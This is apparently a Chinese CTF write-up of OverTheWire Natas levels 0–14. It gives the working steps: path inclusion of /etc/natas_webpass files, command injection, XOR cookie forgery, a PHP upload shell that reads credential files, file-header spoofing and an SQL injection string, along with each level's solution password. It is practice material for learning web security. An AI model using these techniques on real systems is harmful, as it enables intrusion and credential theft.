- 引言
- level 0
- level 1
- level 2
- level 3
- level 4
- level 5
- level 6
- level 7
- level 8
- level 9
- level 10
- level 11
- level 12
- level 13
- level 14
引言
(参考博客)[https://blog.csdn.net/weixin_43220691/article/details/120062350]
level 0
网页源码,F12,ctrl+U,右键
-
steps
natas0 natas0登录 网站首页按ctrl+U <!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
level 1
右键禁用,方法见level 0介绍
-
steps
ctrl+U <!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
level 2
目录遍历
-
steps
ctrl+U 发现 There is nothing on this page <img src="files/pixel.png"> 路径后加/files/pixel.png,这个图片啥也没有。 那就浏览/files/ 可以看到目录,users.txt # username:password alice:BYNdCesZqW bob:jw2ueICLvT charlie:G5vCxkVV3m natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 eve:zo4mJWyNj2 mallory:9urtcpzBmH
level 3
robots.txt 防止信息爬取文件
-
steps
源码无内容 url+/robots.txt User-agent: * Disallow: /s3cr3t/ 从主页访问该文件夹,不知道是不是又XFF头验证,从robots.txt直接转进不去 users.txt natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
level 4
改XFF头,网站只允许来自指定网站的访问
-
referer
表示请求来源页面
-
XFF
表示HTTP请求端的真实IP
-
steps
burp抓包改referer头 burp显示无法识别host记得改hosts文件 改为http://natas5.natas.labs.overthewire.org/ 放包 Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
level 5
-
steps
登录之后显示你没有登陆 #Access disallowed. You are not logged in burp抓包,把loggedin=0改为1 #Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
level 6
代码审计
-
steps
include "includes/secret.inc"; if(array_key_exists("submit", $_POST)) { if($secret == $_POST['secret']) { print "Access granted. The password for natas7 is <censored>"; } else { print "Wrong secret"; } } ?> 检查提交的值是否和secret变量相同 直接访问他的包含文件得到 $secret = "FOEIUWGHFEEUHOFUOIU"; Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
level 7
-
steps
主页就两个按键 来回看了源码只发现一行 密码在/etc/natas_webpass/natas8 想路径穿越,没用 后来想到这两个按钮是不是能传递参数,因为底下还显示一行字,于是把这个路径放到url里传参 http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8 DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
level 8
-
steps
查看源码,要求输入的内容三次函数变换之后和这个字符串相等,那就逆着来 <? $s = "3d3d516343746d4d6d6c315669563362"; function encodeSecret($secret) { return base64_decode(strrev(hex2bin($secret))); } echo encodeSecret($s); ?> #oubWYf2kBq #W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
level 9
同 exec() 函数类似, passthru() 函数也是用来执行外部命令(command)的。当所执行的 Unix 命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代 exec() 或 system() 函数。常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令
-
steps
想提前闭合完成来着,但是发现不成功 但是可以代替字典文件 '' /etc/natas_webpass/natas10 # #nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
level 10
对上关进行了一些过滤
-
steps
过滤的三个字符都没有用,可能上关想考查的是管道符 #U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
level 11
两次异或运算等于本身
-
steps
要想得到密码,showpassword就要等于true 先看当前cookie存的data,其中showpassword="no",bgcolor="#ffffff"
<?php $result = 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D'; $de_result = base64_decode($result); $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $new = json_encode($defaultdata); $key = ''; for ($i=0;$i<strlen($new);$i++){ $key .= $new[$i] ^ $de_result[$i]; } print($key); ?> #qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
得到key=qw8J
<?php $de_result=base64_decode($result); $defaultdata=array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); $new=json_encode($defaultdata); $key="qw8J"; $outText=''; for($i=0;$i<strlen($new);$i++) { $outText .= $new[$i] ^ $key[$i % strlen($key)]; } echo base64_encode($outText); ?> #ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
抓包cookie改成这个,传进去放包 EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
level 12
图片马
-
steps
system("cat /etc/natas_webpass/natas13"); 找个小于1K的图片上传,但其实有两个隐藏的表单 <input type="hidden" name="MAX_FILE_SIZE" value="1000"> <input type="hidden" name="filename" value="3xaj1x7skx.jpg"> 可以更改数值,这里直接改后缀或者抓包改后缀都可以 上传之后打开对应文件 jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
level 13
文件头
-
图片文件头
JPEG (jpg), 文件头:FFD8FF PNG (png), 文件头:89504E47 文件尾:0000000049454E44AE426082 GIF (gif), 文件头:47494638
-
steps
抓包加个文件头,JPEG没有成功 换成GIF89A 一句话同上关 Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
level 14
SQL注入,万能密码
-
steps
admin " or "1"="1" # AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J